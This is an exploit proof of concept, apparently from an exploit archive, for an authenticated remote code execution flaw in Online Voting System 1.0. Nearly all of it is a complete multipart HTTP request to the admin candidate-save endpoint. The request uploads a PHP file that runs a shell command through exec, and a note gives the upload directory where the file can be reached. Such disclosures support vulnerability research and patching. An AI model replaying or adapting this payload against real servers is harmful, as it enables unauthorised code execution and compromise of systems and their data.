Online Voting System 1.0 Remote Code Execution

`# Exploit Title: Online Voting System 1.0 - Remote Code Execution (Authenticated)  
# Exploit Author: deathflash1411  
# Date 30.06.2021  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html  
# Version 1.0  
# Tested on: Ubuntu 20.04  
  
####################  
# Proof of Concept #  
####################  
  
POST /Online_voting_system/admin/save_candidate.php HTTP/1.1  
Host: localhost  
Content-Length: 1253  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4G9QRpniTS7gPVqW  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://localhost/Online_voting_system/admin/new_candidate.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a  
Connection: close  
  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="user_name"  
  
admin  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="rfirstname"  
  
test  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="rlastname"  
  
test  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="rgender"  
  
Male  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="ryear"  
  
1st year  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="rmname"  
  
test  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="rposition"  
  
Governor  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="party"  
  
test  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="image"; filename="test.php"  
Content-Type: application/octet-stream  
  
<?php echo exec("whoami"); ?>  
  
------WebKitFormBoundary4G9QRpniTS7gPVqW  
Content-Disposition: form-data; name="save"  
  
  
------WebKitFormBoundary4G9QRpniTS7gPVqW--  
  
########  
# Note #  
########  
  
Uploaded file will be available at http://localhost/Online_voting_system/admin/upload/  
`